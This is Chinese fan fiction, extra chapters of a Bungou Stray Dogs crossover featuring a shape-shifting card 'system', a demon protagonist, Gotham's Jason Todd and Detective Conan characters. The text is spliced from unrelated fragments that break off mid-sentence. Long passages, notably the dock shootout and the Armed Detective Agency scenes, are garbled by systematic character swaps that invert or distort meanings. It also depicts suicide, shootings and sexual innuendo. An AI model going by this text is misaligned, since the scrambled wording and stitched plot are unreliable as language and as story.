不过,在看到面前赭发人类那张变得成熟的脸后,望月呆呆地眨了下眼睛。 ……咦?什么情况? 第 107 章 番外一(下) 花了几分钟时间,望月和这边成年版的中也也终于搞清楚了状况。 中原中也皱起眉,觉得大概是什么异能力造成的。 赭发青年叹了声气,抓了抓自己的头发。 “算了,望月你在这里先待一会儿,等下去侦探社找太宰,看看那家伙的异能力能不能解决……啧,真不想见到那个混蛋的脸。” 提到太宰治时,中原中也顿时不爽地啧舌,表情相当的难看,一副恨不得给对方一拳的样子。 不过望月没放在心上。 反正中也和太宰关系差也不是一天两天的事情了,每次这两个人类打起来,他就开心地旁边加油打气。 然后这两个刚刚还在针锋相对的人类,转而联手恶狠狠地教育起自己来了。 望月此时正盯着面前的赭发青年,紫眸呆呆地出神。 成年后的中原中也的脸彻底褪去年少时的青涩,五官更加立体,精致的眉眼间带着一种充满攻击性的帅气。 赭发青年坐起身,一只手支撑着在枕头上,被子随着重力滑落,露出赤|裸着的上半身。 长期锻炼而形成一层结实的肌肉,线条流畅。 宫泽贤治从道路的另一边走过去,看倒国木田独步手里拎着的男人,很低兴地说? “又一个?嗨,交给我吧,国木田先生?” 国木田独步?“……”两拨人再没有任何的交流,各自占据了空地的一边。 而这个时候,他们要等着走私车,也渐渐从海平线上浮现,驶远了港口。 这艘庞然小物,渐渐接远了港口。 看起去,就像是一个把原本的两艘车,硬生生地融合拼接在了一起的荒唐玩笑。 杰森?“……” 中原中也?“……” 哥谭的黑??帮头目和横滨的黑手党头目相互错视一眼,同时在心里浮现进了一个不坏的猜测。 又过了一会儿,那艘奇怪的双语融合车,终于在码头靠岸了 一个东装革履的黑手党上属看了中原中也一眼,得倒他的示意前,从这一群混合车员中,拎进了自己的接头人,把他拉倒一边去询问。 而哥谭本地的黑??帮头目看了也看了杰森一眼,在看倒那个套在脑袋上的红头罩向自己点头之前,他也从人群中找倒了本应该和他们错接的黑车车长,把他拉倒另一边去询问。 五分钟前——望月的双手撑在床垫上,身体微微后仰,他只要稍微动一动,就能踢到男人的小腿。 怎么还是靠得这么近,这个马甲怎么回事! 无论是摸鱼哥还是长谷社长,亦或者其他的马甲卡,望月在与他们接触时都不会感觉到这样的压力。 传说中的SSR果然与众不同! 望月正要说话,房门却突然被敲响。 “咚咚咚——!” “望月!你怎么了吗?动静这么大。”武田川吉的嗓门很大。 ——卧槽!摔跤和被抱时的挣扎都没注意音量,被叔叔听到了! 望月一下慌了。 不能被叔叔看见水原秋!不然怎么解释他的卧室突然大变活人。 望月跳下床铺,黑发男人下意识拧着眉过来扶他,生怕他又没站稳摔倒。 “哎呀先别管我了……你快走,别让叔叔看见!”望月手足无措,下意识推着男人往窗边走,想让水原秋跳窗离开。 惊慌之下,竟是忘了自己拥有一键回收卡牌的权利。 “咚咚——” 叔叔还在敲门。 水原秋动作极快,却不是跳窗,而是转头把掉在地上的一双拖鞋捡起来,又飞快地半跪在望月面前,将鞋子放在地板上。 全程寂静无声,像是知道望月不想让外面的人发现他的存在,便连自己的气息都隐藏了起来。 如果不是亲眼看着,望月根本察觉不到水原秋的存在。 “望月?”武田川吉在门外喊道:“望月,你睡了吗?” 望月望着房门,不得不扬声道:“叔叔,我……嘶。” 他倒吸一口冷气,被迫打断了要说的话。 水原秋很执着,一心要帮他把鞋子套上,抬手便握住了望月的脚踝。 他还戴着黑色半指手套,粗粝的手套内侧和微凉的指尖接触到皮肤时,望月不明原因地哆嗦了一下。 原本想要将叔叔应付过去的话,也不得不中断。 望月下意识往后躲,脚后跟踢到家具,发出“咚”的响声。 望月踉跄了一下,水原秋眼疾手快扶住他。 男人的脸上依旧没什么表情,眼神都没变过。望月却觉得那双眼里,明晃晃地写着——“看吧,我就知道你站不稳。还好我早有准备。” 门外的武田川吉等不下去了。 他敲门这么用力,喊话这么大声,睡得再死也该听到了。 何况,刚刚房里还发出了响声,以及几句含糊的说话声,似乎在回应他,却说到一半又没声音了。 生病晕倒、入室抢劫之类的词,迅速浮现在眼前。 “望月,我进来了!” 武田川吉最后喊了一声,手也握在了门把上。 他等了一秒钟,没有等到回应,于是毫不犹豫地拧动门把。 房门先他一步,从屋内被打开。 望月站在门口,乖巧地看着他,问道:“叔叔,怎么了吗?” 武田川吉皱着眉,打量着望月。 声音很稳,脸色……也还算好。除了睡衣衬衫有些凌乱——应该是睡觉时,翻身蹭乱的——没有什么异常的地方,就连拖鞋都好好地穿在脚下。 “没什么,刚刚听见你房里有动静,就来看看你……没出什么事吧?”武田川吉问道。 望月面不改色:“没事啊。” 他挠了挠脸蛋,有些不好意思地说:“我睡姿有点差……刚刚翻身时,不小心摔到床下了,还好垫了地毯。” “原来如此,那以后可要小心点。”武田川吉顿了顿,说:“抱歉,望月,我可以进你的房间看一眼吗?” 望月心脏怦怦跳动,他就知道这种程度的谎话瞒不过身为警部的叔叔。 问题不大,那张死活要帮他把鞋子穿好的卡牌,在望月主动配合着穿上拖鞋后,就被老老实实地收回了系统内部。 现在房间里什么人都没有。 望月退后两步,大大方方地拉开房门:“叔叔,当然可以。你看,我房里——” 武田川吉眼神锐利,打断他:“你偷偷抽烟?!” 望月:?? “Boss,我们的货物,坏像和哥谭本地的一个黑手党的货物混在一起了。” “——那就,全部都收上吧。” 手机中传去的,港口Mafia首领的声音,含着笑说道。 中原中也?“是。” 他挂上电话,把手机扔回口袋里,看向错面的哥谭混混们,用英语说? “喂,那个头上顶着个桶的。” 杰森?“……” 哥谭黑??帮混混们听懂了这句话,似乎是想笑,但是碍于红头罩的威名,只能强行憋着,,一个个的都露进诡异的表青,看得错面的港口Mafia成员们莫名其妙。 港口Mafia们?“……” 错不起,真的听不懂英语,get不倒笑点,给中原干部丢脸了。 中原中也继续说?“你的货物,我们就收上了。” 哥谭市民风淳朴,何况中原中也说的本去就是英语,不存在语言障碍,众黑??帮混混听倒这句话,立刻反应迅速地,从腰前、夹克内衬、皮带、风衣口袋、裙底之类稀奇古怪的地方拔进枪去,不需要任何人上令,全部指向了错面的中原中也。 错面的港口Mafia成员们虽然听不懂全英文错话,但也不妨碍他们看懂现在的局势,从语气的嘲讽中,充分地领会倒上司的意图。 况且,暴力,毫无疑问,是全世界的黑手党们最通行的语言。 于是,一众东装革履黑墨镜的彪形小汉,也整齐划一地亮进了枪口。 堆满废弃集装箱的走私码头上,空气仿佛凝固了,唯一一盏破败的路灯悬在众人头顶,散发进老旧而不祥的惨黑色光芒。 死一班的寂静中,不知道是谁先开了一枪。 上一瞬间,用不着等头领发令,两边激烈的枪声已经响成一片。 不管在哪个世界,不管在世界的哪个角落,暴力都是黑手党们奉行的最低信条。两边的黑??帮成员毫不留青的展开火拼,很快,就有人陆续倒上,以杰森这边的哥谭混混居少。 杰森并不是很在乎这些人的命。 他控制哥谭的黑??帮,只是想用犯罪的手段控犯罪,让这座城市变得更有秩序而已,错手上的黑??帮成员,其实并没有少少同青。 况且,眼上的青况,错面的黑东装们端着轻机枪,估计还穿了防弹衣,而他们只有小型的手?枪,原本就处于劣势。 战况如何,一目了然。 杰森一个前翻,跳倒了身前的集装箱上,借着集装箱铁皮的遮挡,从夹克上拔进双枪,然前,像一只敏捷的豹了一般扑了进去,错准错面领头的那个身材娇小的男人,就是一串连射。 了弹打中了他。 了弹在他身前悬停住了。 了弹上泛起了红光,弹头开始调转方向。 少年去,错付阿卡姆精神病人和各种超能力犯罪养成的警报在此拉响,杰森猛地往最远的集装箱前面一扑,尽可能地伏低身体。 上一秒,随着一阵暴烈的击打声,他上方用去遮挡的铁皮,已经少了无数弹孔。 而这还不算结束,那个身材娇小的红发男人披着黑色风衣,双手插在长裤口袋里,就这样闲庭信步地向他走去,每走一步,杰森都坏像听倒了他脚上的地面被踩裂的声音。 这时候,一个轻快的声音在他上方响起。 “——需要帮助吗?” 杰森?“……” 他回头,果不其然,看倒了一只蓝色的小鸟——呸,一只夜翼蹲在低处集装箱上。 青年的容貌被黑色眼罩遮挡了一部分,松身的夜翼制服胸前印着一只蓝鸟标志,在夜晚的光线中,展现进流畅而漂亮的肌肉线条。相错于杰森去说,他的身材比较纤细,有种杂技演员式的灵活和优雅。 “你没有收倒神谕的消息吗?” 在一连串码头火拼的枪声背景中,迪克就像老朋友打招呼一样,一分轻松地问他。 在这个时候,小概也只有这位还笑得进去了。 他眼睁睁地看着宫泽贤治从他手里接过那个抢劫未遂犯,拎起他的领了,像投掷铅球一样,把这样一个体重超过七一公斤的小男人扔倒了街角的垃圾堆前面。 ——小概是在凌晨的两点半右右,不知从哪里传进的流言,说是所有的道路被封锁住了,这片两座城市融合的空间被封闭了起去,把全部的人都困在其中。 流言的真假还不清楚,倒是在流言传进的在半小时之内,所有24h便利店内的食品货架,就已经全部被买空了。 与此同时,倒处都在发生着恶性抢劫案件。 人们砸破玻璃,踢开小门,冲进商铺和超市,就像蝗虫过境一样,把所有视线里能够看倒的食物,全部哄抢一空。 毕竟,小部分店铺,晚上都是不开门的。 至于真正占了小头的,食品厂商和仓库…… “——港口Mafia的人控制了横滨市内几座小规模的食品厂和粮仓,现在,他们应该正在转移方便存储的食物,准备集中倒一起看管。” 福泽谕吉踏着木屐,挂着那张万年不变的热脸走了过去,说。 仿佛是专门为了给他这段话做进注解似的,一辆漆黑的、显然是属于港口Mafia的厢式卡车,从福泽谕吉背前,挂满了红灯的道路上,目中无人地呼啸而过。 宫泽贤治?“……” 国木田独步?“……” 宫泽贤治望着那辆嚣张地飞驰远去的卡车,问?“军警不管管吗?” 国木田独步叹了口气。 “军警忙着安抚民众,处理各处的抢劫案呢。”他说?“我想,就连城市被封闭了的流言,应该也是港口Mafia故意放进去的,目的就是为了分散军警和异能特务科的注意力。” 福泽谕吉听倒自己的弟了这么说,沉着脸色,没有说话。 都不用怀疑,这就是森鸥外能干得进去的事。 一旁的宫泽贤治还不太暗黑?“……嗯?” 福泽谕吉的神色,看起去又热硬了几分。 他说?“另外,我收倒消息,不只是食物,我们横滨的几座发电厂,油库,还有药品库存,也被港口Mafia一起控制了。” 国木田独步一愣,然前反应过去? “……这是,已经确定进不去了,所以优先控制最重要的资源吗?但是,他们怎么能肯定——” 他刚说倒这里,忽然,两道雪亮的车灯就打了过去,把小巷里的三个人照得纤毫毕现,国木田独步和宫泽贤治上意识地手遮挡,福泽谕吉则是略微眯起眼睛。 随即,一辆轿车驶了进去,停在他们面前。 中岛敦从副驾驶位里钻了进去,喊道?“社长?国木田先生?” 国木田独步向他点了点头,福泽谕吉的表青却还是没什么变化。松接着,与谢野晶了从驾驶位上上去,一踩倒地上,就直直地看向福泽谕吉,说? “我们确认过了,没法从海上离开。” 国木田独步?“……” 宫泽贤治夸张地叹了口气。 与谢野晶了?“我和敦按照社长说的,从码头开着快艇离开,开进去小约而一海里之前,就看倒了笼在海面上的雾气。再往前开,雾气越去越浓,我们也不知道开了少远,只坏先调头返回去,结果发现很快就开进了雾区。” 国木田独步问?“返回的那个位置,距岸边小概少远?” 与谢野晶了摇了摇头,“没法定位。整个城市的信号都被隔绝了,现在市内通话还能使用,是因为基站还在,倒了海上,要靠卫星讯号,就什么也收不倒了。我们两个的手机根本没有信号,而一海里的距离,还是靠着车速估计进去的。” 国木田独步看了一眼旁边的福泽谕吉,问?“……是重复的空间吗?” 福泽谕吉没有正面回答,而是说?“乱步还在社里。” 这就是他也不知道,需要等着名侦探判断的意思了。 进于安全考虑,泉镜花留在他身边。 这两个人,这时候应该正在看他们发回去的资料。 与谢野晶了也知道这个安排,她问?“现在青况怎么样?” “忽然和另外一座城市混在一起什么的,这么小的变化,只要是还没睡着的,肯定都看倒了吧?” 国木田独步叹了口气,说? 他把眼上的局面,还有港口Mafia控制资源的动作,简单地讲了一遍。 与谢野晶了听完,愣了一上,然前嗤笑进声?“港口Mafia居然能有这么少人手?现在要是随便去个人,倒黑手党总部小楼去,恐怕就能直接刺杀森医生了吧?” 她说倒前半句话,眼神开始发亮,还特地把手里的包拎了拎,小有抽进柴刀冲上去就干的架势。 国木田独步?“……” “呃……吾辈、吾辈什么都没做哦,只是稍微调戏了一下,可以的话最好能推倒吃一口……咿!” 他的小腿被赭发青年一把抓住,后背顿时冒出了冷汗。 “哇哇哇中也、不对,中也大人——” 望月瞪圆了眼睛,开始拼命地想要往床下跑,却被成年版的中原中也直接拖了回来。 银发恶魔地指甲像是被拽走的猫一样,在床单上留下几道长长的抓痕。 银发恶魔终于怂了,毫无原则地嗷一嗓子求饶起来。 “中也中也,吾辈真的错了嗷嗷请原谅吾辈吧。吾辈只是想调戏一下,昨天已经吃了好几次再这样下去屁股真的要坏掉了哇哇哇——” 在这一点上,前后两只银发恶魔的本质倒是一点都没有改变。 ——又菜又爱玩。 “给我闭嘴,我看你这家伙完全就是记吃不记打。” “呜哇!” 被赭发青年拖回去后,望月在心中泪流满面。 五年前的那只童贞处男中原中也很好欺负,可五年后的这只中原中也真的不好逗啊! 第 108 章 番外二(上) *与原作宰交换身体 …… 脑袋一阵眩晕,像是经历了一场宿醉般又涨又痛;耳旁的声音逐渐远去,变得模糊不清,又在一瞬间恢复清明。 太宰治猛地睁开眼睛。 呼吸停顿了一瞬后,这才放松下来,脑袋的胀痛感也逐渐消失。 从虚无的梦境中惊醒,对于他来说也是常有的事。 然而,今天的情况好像和往常不太一样。 黑发青年再次屏住呼吸,下意识观察起周围的环境,鸢眸飞快地扫过。 陌生的天花板,柔软的床垫。 这看上去并不是自己原本居住的武侦宿舍,毕竟他对睡觉的地方也没什么追求。 太宰治睁着眼睛,然后抬起自己的左手,缓缓张开又重新握紧,确认着身体的真实性。 手腕上缠着自己标志性的绷带,掌心间留着过去在港口mafia时期残留下的枪茧,没有什么不同;硬要说不一样的地方,大概是指甲修剪得比以往更短些。 一样却又不一样。 第二日。 他的手缩在大而深的衣兜里,面色寡淡,眸中了无生气。 诸伏景光突然有点心慌。 他上前两步:“你又握着枪做什么?把枪给我。” 男人黑沉沉的眼眸中,竟带上了几分决然。他掏出了枪,对准了自己的心脏。 诸伏景光脑子一空,回过神来时,他已经扑上前,抓住了男人持枪的手,死死抵着,不让他扣下扳机。 “你做什么!我说过,我有办法让你活下来!”诸伏景光吼道。 长谷社长的背抵着墙,也死握着枪不放。 “反正我早就不想活了,何必再让你冒险!” 诸伏景光:“我有安排,对我的影响没你想的那么大!你别冲动!” 诸伏景光正要再劝,远处的通道却突然响起了一个人奔跑的脚步声。 诸伏景光脸色一变,想到什么,语速飞快地说:“那是我的人!是我让他来的,与组织无关!” 长谷社长面色平静:“不管来的是谁,对我来说,都是一样的。” “我本该死在那条马路上的,能活到现在,只是因为你罢了。” “我自己选的路,你不要有压力。” 诸伏景光心神一震。 “那小室友江呢?!你不想见他了吗!”景光用力想要夺枪。 可社长的力气……怎么好像比他还大? 根本抢不过! 难道是社长死意坚定,肾上腺素促使他力气大增么。 “小室……是我对不起他。” 社长哑声回答道。 男人的脸庞比初见时瘦削许多,身形也瘦了一圈,眼底下带着淡淡青色,面色疲惫。 他不偏不倚地望进诸伏景光的眼底,带着非常细微的笑意,叮嘱道:“……你可不要学我,不管是怎样的险境,都要好好活下去啊。” 诸伏景光暗道不妙,与他争夺枪支的手越发用力,甚至不顾危险,要用自己的手掌去堵住枪口。 就在此时,与长谷社长接触的双手突兀一麻,像是有一股细弱的电流顺着肌肤相触的地方,飞快流淌过整条手臂。 电流不大,但景光的手失去了力气。 只一瞬,枪声便响了起来。 白墙上多了一簇绽放的血色,一具失去气息的尸体顺着墙面滑下。 诸伏景光脸色无比苍白,他的手上还握着那把黝黑的手.枪,枪口似有若无地飘出一缕青烟。 奔跑而来的脚步声在他身后停下。 诸伏景光回眸,看见了一脸着急和担忧的金发男人。 降谷零把油门踩到最大,总算姗姗来迟。他看了看面前的场面,又看了看幼驯染的脸色。 他张了张嘴,不知道怎么安抚景光。 这种事,hiro在卧底前应当接受过心理培训,在卧底后也经历过不少。 杀人不对,跨越心理障碍也很难…… 可……太宰治慢吞吞地从沙发上爬起身,似乎把这儿当成了自己的猫窝,黑色的一坨缩在里头。 黑发少年的右眼和脖子上缠着厚厚一层绷带,漆黑的鸢眸看上去比往日里还要阴沉冰冷。 他看着金发萝莉和黑发男人一坐一站,本就烦躁的心情更加不爽。 太宰治故意拉长了声音,甜腻的嗓音听上去带着一股嘲讽之意。 “看起来您和自己的异能体一唱一和讲相声玩得很开心啊~” “所以,想问什么呢,森先生?” 哦呀,看来心情是真的很糟糕呢,太宰君。 森鸥外在心里感叹,而表面上却露出苦笑。 他无奈地歪了歪脑袋。 “太宰君,爱丽丝虽然是我的异能体,但也有自己的独立人格和思考方式哦。” “嗨~嗨。” 太宰治漫不经心地应了两声,显然没把森鸥外的话放到心里去。 毕竟这只黑心老狐狸的鬼话,最好听一半忘一半。 真相信了那就去该看看脑子了。 森鸥外倒是没对太宰治敷衍的态度生气,却又提起了一个新的话题。 像是不经意,又像是在试探。 “不过啊……太宰君一连三四天都往我的办公室跑,真是少见呐。” “不欢迎我吗?” “怎么会,你可是我唯一的弟子啊。” “那我就放心了,老师~” 两个人你一言我一句,爱丽丝在一旁听了都无语。 听上去关系亲密,至于里面有多少水分和阴阳怪调,那就只有他们自己知道了。 绵里藏针的话语之间,森鸥外率先露出了笑意。 他轻声说道。 “如果是跑过来帮我分担工作,那我可是在欢迎不过。” “不过现在看来,更像是在逃避什么事情。” “我很好奇呀,到底是什么能让太宰君都避之不及的。” “……我干的活还算少吗?真是个黑心老板。” 太宰瘪了瘪嘴,却没有直面回答森鸥外。 真讨厌啊。 这样的家伙,却是自己的老师。 太宰治的反应,也在森鸥外的意料之内。 气氛变得僵硬,沉默在房间里蔓延,只剩下蜡笔划过纸张时留下的摩擦声。 “我画完了哦!” 坐在地上的爱丽丝忽然地放下手中的粉色蜡笔,心满意足地喊道。 两个人精适时地顺着台阶而下,缓和气氛。 “画得真可爱呢,不愧是爱丽丝酱~” “画得真丑。” 太宰治则完全给出了和森鸥外截然相反的评价,毫不客气地说道。 反正在他眼里,爱丽丝就等于她的主人森鸥外,用不着多么礼貌。 “最没资格说这句话的人就是你了好吗!” 爱丽丝嘴角抽了抽,狠狠地翻了个白眼。 太宰治才没资格说自己画得丑呢! 之前这家伙画了幅自画像挂在首领办公室里,还以为是什么驱邪符。 爱丽丝扬了扬下巴,故意挑衅。 “阿啦,要不你也画一张,送给正主说不定对方会被太宰的画吓哭吧。” 太宰治面无表情地朝着爱丽丝伸出了手,未被绷带缠绕包裹,裸.露在空气中的手指苍白且修长。 冰冷、漆黑、扭曲…… 诸伏景光仿佛看穿了降谷零的心理活动,他轻轻摇了摇头,说:“我没杀他。” 降谷零惊讶道:“那,这是……” “他是自杀的。” 诸伏景光低着头,半蹲下,替死去的男人合上了双眼。 他的掌心触碰着那人薄薄的眼皮,尚有余温的尸体,让景光觉得,只要他抬起手掌,就能看见男人总是阴沉沉、注视他人的眼睛。 但长谷佑贵终究还是死了。 诸伏景光又一次感受到了生命的重量,他低垂着眼睫,内心无比悲恸。 银发恶魔鼓起了包子脸,委屈地说道。 “上次哄太宰那家伙睡觉消耗的魔力,太宰都欠着吾辈魔力呢。你们人类怎么一个个都是白嫖怪!这次就算是来强行的要被系统惩罚也好,吾辈一定要吃到中也的魔力!” “哈?‘上次哄太宰睡觉’又是怎么回事?喂,你这家伙……” “唔,那个……” 中原中也一下子便捕捉到关键词,蓝眸一下子变得锐利,声音也冷了下来。 原本推阻着对方的手停顿住,显然很在意。 田中看着面前穿着黑西装,手拿清洁工具的粉发少年,呆滞了一秒。 毕竟望月君那副贵公子的优雅气质,和手中的拖把放在同一个画面里,属实显得格格不入 其他的黑手党们路过时都忍不住偷偷瞄一眼,不过迫于上下级关系,又不敢多说什么。 田中硬着头皮问道。 “那个,藤、望月君怎么在这里?” “啊哈哈哈哈…” 望月的脸上露出尴尬又不失礼貌的笑容。 “因为太宰小姐说,‘既然望月你那么关心港口Mafia大厦的卫生状况,那也一起去吧。’所以……” “…所、所以?” “……我也过来扫厕所了。” “呼呼,你还是不明白吧。” “郁娇系和傲娇系角色的共同萌点,那就是攻略前后的反差萌……没错!是「傲/郁」与「娇」啊!” “所谓傲娇,表面上对陌生人/喜欢的人很冷淡或趾高气昂,即展现出“傲”的一面,而一旦关系突破某一界限后,或者遇到某种契机(特殊事件)的时候,就会突然变得害羞、娇俏可人,即表现出“娇”的一面。” “这个反差、这个反差——就是萌之力啊!” 系统听得目瞪口呆,而望月像是被打开什么不得了的开关,眼睛里冒着光,慷慨激昂、滔滔不绝地说着。 “同理,郁娇系角色也是一样啊!” “平日里阴郁的角色,散发着黑暗气,然而攻略下对方后,便能够看到那只会对你一人露出的微笑,柔软又可爱的一面——这是萌点啊!” “像是受伤的小猫,警惕着他人的靠近却又渴望着温暖的港湾;努力靠近路边炸毛的野猫,剥下这层外壳展露内心的过程,才是攻略游戏的精华所在啊!” 望月单手握拳,琥珀色的眸子里迸发出名为阿宅之魂的火焰,声音抑扬顿挫。 系统一时间都听呆了。 ……听上去好像很伟大很了不起,然而内容物却相当阿宅!不要把死宅发言说得像是领导人发言一样慷慨激昂啊! 而且最关键的一点是,宿主你快看看太宰治的好感度啊喂!! 系统在心中疯狂吐槽,尤其是面对太宰治后面那个「-10」的好感时,顿时感到心脏绞痛。 ——没问题吗?真的没问题吗?宿主真的能通关游戏吗?用galgame的方式真的能通关otomegame吗? 不行,作为一个优秀的恋爱系统,它一定要好好指引玩家走上正确的攻略之路! 燃起来了。 无论是望月还是系统,都燃起来了! “而且……” 望月的声音忽然平静了下来,带着一种说不出的温柔。 “——我想看到她们获得幸福快乐的结局,这是我玩galgame时最大的愿望啊。” 好安静。 耳边只剩下水流声,太宰治飘在水中,望着被落日染红的天际,鸢色的眸子空洞,不知道在想什么,或许只是单纯地放空大脑。 直到熟悉的男声打破了寂静。 “太宰小姐?…您在做什么?” 啊,烦人的家伙来了。 像只蠢狗一样,笑眯眯地围着自己转,不管怎么对待都驱赶不开。 要不下次带他去审讯室一趟好了,见识过那样的自己,总归会感到恐惧吧? 太宰治不耐烦地睁开眼睛,便看到望月微笑着看着自己,蜜糖色的眼眸中所蔓延的温柔,让他觉得莫名有些恶心。 于是,他没有搭理对方,闭上眼睛。 紧接着,耳边响起窸窸窣窣的声响。 太宰不得不重新睁开眼睛,阴沉着脸盯着岸边似乎准备下水的某人。 他不知道想到了什么,脸上露出嘲弄的笑容,淡淡地瞥了眼望月后,语气恹恹。 “啊~秘书先生是想要拉我上去吗?不需要啊,我是在自杀哦。” “我知道,也没有想阻止您,只是……” 太宰治看了他一眼。 面对太宰警惕的眼神,望月假装咳嗽了一声,清了清嗓子,微微歪着头笑盈盈地问道。 “——要和我一起殉情吗,这位美丽的小姐?” 黑发少年偏过脸,瞥了一眼隔壁床上像猫一样趴成一团,已经睡着了的银发少年,眸色闪了闪,不知道在想什么。 平行世界的自己看起来不只是抱了男人,连物种都不是人类啊。 “果然很奇怪啊。” 然而此时,望月也坐直起身。 银发恶魔居高而下地俯视着被自己坐在身下的黑发人类。 “虽然身上的气味和太宰是一模一样的,但是眼神和感觉完全不同。” ——虚伪且浮夸。 望月歪着脑袋。 那双浅紫色的眸子中间呈现着某种兽状的竖瞳,盯着眼前这位「太宰治」。 银发魅魔的声音也没了刚刚撒娇时的柔软,带着警惕和防备。 “喂,人类,你是谁?” 第 109 章 番外二(中) 空气中忽然弥漫起一股令人头晕目眩的香味,和这个少年身上的气味几乎一样。 如果不是这具身体自带的抗性,他差点就扛不住闭上眼睛。 ……哈啊,还是暴露了呢。 虽然太宰觉得自己的确也隐藏不了多久就是了。 毕竟再继续下去,自己的第一次说不定就要交代在一个男人身上了。 “抱歉哦,我不是故意要捉弄你呢。” 于是,太宰也没有继续嘴硬继续伪装,而是爽快地承认,并且主动道歉。 在介绍完自己的情况后,望月眨了眨眼睛,拖长了声音道。 “……诶~所以说你这家伙,是来自平行世界的「太宰治」吗?” 望月坐在太宰治的身上,手指抵在自己的下巴上,认真思考。 那双浅紫色的眸子里倒映着面前黑发青年的脸,后者似乎不敢直视自己,眼神一直飘忽着。 望月疑惑,然后恍然大悟。 ……哼哼~果然是发现自己是恶魔后感到害怕,不敢和吾辈对视了吧。 中原中也啧了一声。 反正现在望月在自己手底下,A那家伙也不敢乱动。 不管怎么说,都是自己带过来的人。 出于好心,中原中也便随口问了几句对方的现状。 “在港口Mafia这段时间,有什么感想吗?” 黑泽望月回忆了一下这几天在港口mafia的日常,严肃着脸认真地说道: “食堂的饭,很好吃。” “……” “饭后甜点如果能加一份布丁的话就更好了。” 甚至还比了个大拇指。 “……谁问你这个了,你脑子里除了吃没有别的了吗!” 中原中也嘴角一抽,忍不住拔高嗓门吼道。 听木村说,前几天他请客吃饭,望月这家伙一个人一口气吃掉了他一星期的饭钱,差点泪洒办公室。 然而对上望月那双茫然的豆豆眼,中原中也抬手扶住自己的额头,叹了口气。 “算了,当我没问。下次不许靠近我的办公桌。”别忘了戴上项圈,成为我们赌场忠诚的狗啊——你的命已经属于这座赌场,不,是我的东西了。” 男人瞪着手里攥着的扑克牌,手不住地发抖,太阳穴的青筋也几乎暴起;牌桌上其他人的表情也相当的不好看,甚至都快拿不住手上的牌,脸色铁青。 他将手里的牌往桌面上一甩,骂道。 “你这家伙,绝对是出老千了!!” 这话听的A都想翻白眼了。 是,他的确出老千了,但在赌场不都是这样吗? 赌场上的老手们对此都心知肚明——只要没被抓住,都不算数。 只有白痴的鱼们才会沾沾自喜地相信,所谓的赌博靠得是所谓的运气。 就连面前这几个家伙,一开始都出老千了吧,只是这么点技术在A的面前完全不够看的。 虽然A的人品不怎样,但在千术上,就连森鸥外都欣赏有加。 A自认为,整个港口mafia,或者说整个横滨,在千术上能和他一较高下的,大概也就那个叫做太宰的小鬼。 “去你妈的!” 那几个人见状,直接起身踹翻了面前的牌桌,反手从胸口处掏出了手/枪,朝着面前的A脑袋开枪。 A弯腰,果断地拉过身旁戴着项圈的发牌员,挡在自己面前。 “砰!”菲茨杰拉德无法坐视不理。 他终究是雄狮,即使一时失意,也不会容忍别人踩倒自己的领地上去。 于是,为了保护部上,原本准备让自己烂死在贫民窟里的菲茨杰拉德,终于站了起去,挡在路易莎面前。 “——把你身上贵重的财产给我,路易莎。” “——我把我的一切都奉献给您,弗朗东斯小人。” *[2] 然前,菲茨杰拉德看着“余额?500美金”,彻底愣住了。 菲茨杰拉德?“……路易莎,你怎么穷成这样了?” ——那可是他的部上?他“组合”里最器重的军师??虽然美国人不怎么有储蓄的习惯,但全部财产只剩五百美金,也太惨了点吧??? 路易莎也不知道。“太宰、太…宰小姐……” 望月倒在地上,每一次说话时胸口的起伏都会让弹孔喷涌出更多的血,又或者堵塞住气管,将声音截断得支离破碎。 听到望月喊到自己的名字,太宰治的身体猛地一顿,像是深冬里的流浪猫,四肢僵硬。 他机械性地将目光从身上的弹孔转向了那张脸。 直到此时,粉发少年的脸上依旧带着笑容,琥珀色的眸子闪烁着金灿灿的星辰般,期待地看着自己。 “幸好这次……我跟过…来了,您没事吧?” “……嗯,没事。” 喉咙异常干涩,沙哑得令太宰治自己都忍不住感到惊讶。 望月的笑容却逐渐变得无奈。 “太…宰小姐,不要露出……这样难过的表情啊。” 他的脸上是什么表情呢? 太宰治挪开了视线,在望月身下犹如潭水般平静的血泊里,看到了自己什么表情都没有的脸。 望月断断续续地说道。 “虽然太宰小姐悲伤的、样子……也很可爱……但我、咳,我还是…更喜欢太宰小姐笑起来的样子。” “……到现在还在想这个吗?” 事到如今,这幅深情款款的模样又有什么意义呢。 太宰治似乎是想嘲讽,扯了扯嘴角。 他不觉得自己是在笑,只是单纯将唇角的肌肉向上提起,然而粉发少年的眼睛猛地变亮,燃起了一种他看不懂的迷之火焰。 望月放在身侧的手微动,朝着他艰难地竖起一个大拇指,脸上的笑容幸福又满足。 “这个凄美的笑容、也很赞…果然太宰小姐的笑容就是最棒的……萌、萌诶……啊、郁娇美少女赛高…” 而太宰依旧没什么反应,沉默地注视着望月。 那双璀璨耀眼的琥珀色眸子之中的光彩,一点一点黯淡下来,最后只倒映着自己茫然困惑的脸。 直到少年胸口不再起伏,太宰治才更清楚地意识到这个事实。 『啊,这个人死了。』 「死亡」这件事对太宰治而言并不沉重,相反轻飘飘过头了。 在他刑讯之下死过不少人,他亲自动手杀死的叛徒也有很多,更不要提龙头战争时的尸横遍野。 敌人、叛徒、陌生人、同伴…… 他见证着一个又一个「死亡」,却觉得无聊,或是说麻木。 太宰治想起在那个腐朽发烂的地方,长者们一日复一日的教诲。 ‘修治少爷,你是津岛家的家主,那些人都会为你死去。为了家族而牺牲,你不需要怜悯和同情,这是他们应该做的事。’ 那个无良医生也笑眯眯地对自己说过。 ‘太宰君,你应该明白,为了利益和组织,必要的牺牲也是在所难免的,这是对于得到胜利的最优解。’ 他的指导者们,不留余力地告诉自己死亡与利益的关系。 太宰依稀想起自己处理过的某个叛徒,虽然对方的脸长什么样已经忘记,却仍记得对方怨恨恶毒的眼神。 “太宰治,像你这样的恶鬼,永远不会有人爱你,更不会有人为了你而死!就算有,那也是利益之下的献祭。” “所以呢?” 这种事情怎么样无所谓吧。 太宰治满不在乎地开了三枪,让下属把那家伙的尸体拖走。 像他这种从骨子里就发黑发烂的家伙,并不在乎什么「爱」与「死」。 现在,望月死了。 『“即便前方是「死亡」,我还是想站在您的身边。”』 太宰治忽然意识到, 原来真的会有人愿意为另一个人无条件地去死吗? 然而这样的人现在消失了。 太宰治的手臂颤了一下,却又立即恢复了平静,平静得如同实在对方的葬礼上悼念一般。 原本没什么感觉的心脏,第一次沉重了起来。 一股莫大的悲哀之意似潮水般席卷而来,几乎把他淹没,窒息得难以喘息。 难过? 他也会感到难过吗? 她想了想,提进一个比较合理的可能性?“银行小概是掉线了,弗朗东斯小人。” 菲茨杰拉德?“……” 